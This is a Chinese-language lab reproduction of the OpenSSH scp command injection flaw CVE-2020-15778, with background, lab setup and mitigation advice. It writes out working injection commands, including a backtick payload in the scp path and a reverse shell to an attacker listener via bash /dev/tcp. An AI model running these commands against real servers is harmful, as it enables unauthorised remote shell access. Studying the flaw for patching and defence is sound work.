OpenSSH 命令注入漏洞(CVE-2020-15778)漏洞復(fù)現(xiàn)
詳細(xì)描述
OpenSSH(OpenBSD Secure Shell)是OpenBSD計(jì)劃組的一套用于安全訪問(wèn)遠(yuǎn)程計(jì)算機(jī)的連接工具。該工具是SSH協(xié)議的開(kāi)源實(shí)現(xiàn),支持對(duì)所有的傳輸進(jìn)行加密,可有效阻止竊聽(tīng)、連接劫持以及其他網(wǎng)絡(luò)級(jí)的攻擊。
OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在命令注入漏洞。該漏洞源于外部輸入數(shù)據(jù)構(gòu)造可執(zhí)行命令過(guò)程中,網(wǎng)絡(luò)系統(tǒng)或產(chǎn)品未正確過(guò)濾其中的特殊元素。攻擊者可利用該漏洞執(zhí)行非法命令。
影響產(chǎn)品
產(chǎn)品:Openssh
影響的組件:SCP
漏洞版本:<= openssh-8.3p1
漏洞原理
使用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí),在scp命令后面跟上文件的路徑,具體格式如下:
scp Filename user@host:directory/Filename
在上述過(guò)程中,scp會(huì)使用”-t“參數(shù)來(lái)獲取存儲(chǔ)傳入文件的路徑,如下:
scp -t directory/Filename

問(wèn)題就出在這個(gè)地方,也就是"scp.c"文件的991行,如圖。這個(gè)地方未對(duì)傳入的文件路徑進(jìn)行檢測(cè)防護(hù)。攻擊者可以使用反引號(hào)包裹payload然后加上文件名執(zhí)行scp命令,這時(shí),payload將會(huì)發(fā)送到遠(yuǎn)程服務(wù)器并執(zhí)行。
利用環(huán)境
描述:要實(shí)現(xiàn)該漏洞必須知道ssh用戶密碼,但是一般來(lái)說(shuō)ssh是阻止連接的。這個(gè)時(shí)候我們就可以利用這個(gè)漏洞進(jìn)行連接。
攻擊機(jī):Kali-Linux-2020.3
受害機(jī):CentOS-6.8
漏洞復(fù)現(xiàn)
1、在攻擊機(jī)創(chuàng)建一個(gè)拷貝用的測(cè)試文件(為空即可)
touch test.txt
ls

2、測(cè)試在攻擊機(jī)上scp到受害機(jī)
#使用scp命令將test.txt傳送至受害機(jī)的tmp文件夾下
scp test.txt root@10.10.xx.xx:/tmp/test.txt
#之后需要輸入受害機(jī)的密碼,輸入完成后,文件即傳送過(guò)去了

3、查看受害機(jī)
#查看受害機(jī)/tmp目錄,新增了test.txt文件
ls

注:上述是,測(cè)試scp命令是否可以正常使用
4、開(kāi)始命令注入攻擊
#在攻擊機(jī)上通過(guò)特殊符號(hào) ` 進(jìn)行遠(yuǎn)程命令注入攻擊
scp test.txt root@10.xx.xx.xx:'`touch /tmp/1.sh`/tmp/test.txt'

5、查看受害機(jī)
#查看受害機(jī)/tmp目錄
ls

注:通過(guò) `` 符號(hào)內(nèi)實(shí)現(xiàn)任意遠(yuǎn)程命令執(zhí)行
5、攻擊機(jī)監(jiān)聽(tīng)端口
#新建一個(gè)攻擊機(jī)窗口進(jìn)行監(jiān)聽(tīng)端口,如8452
nc -lvp 8452

6、反彈shell命令注入攻擊
番外:
命令格式:bash -i >&/dev/tcp/10.10.10.10/8452 0>&1
| 命令 | 解釋 |
|---|---|
| bash -i | 產(chǎn)生一個(gè)交互式bash |
| >& /dev/tcp/ip/port | 建立TCP連接,并將標(biāo)準(zhǔn)輸出和錯(cuò)誤重定向到TCP連接 |
| 0>&1 | 從TCP連接獲取輸入 |
言歸正傳:
#攻擊機(jī)原窗口進(jìn)行反彈shell命令注入攻擊
scp test.txt root@受害機(jī)ip:'`bash -i >&/dev/tcp/攻擊機(jī)ip/8452 0>&1`/tmp/test.txt'

7、查看新建的攻擊機(jī)窗口
#執(zhí)行成功,成功回顯,如下圖

修復(fù)建議
目前廠商暫未發(fā)布修復(fù)措施解決此安全問(wèn)題,等待官方補(bǔ)丁https://www.openssh.com/
加強(qiáng)ssh密碼或密鑰的保護(hù),周期性更換密碼或密鑰
使用rsync代替scp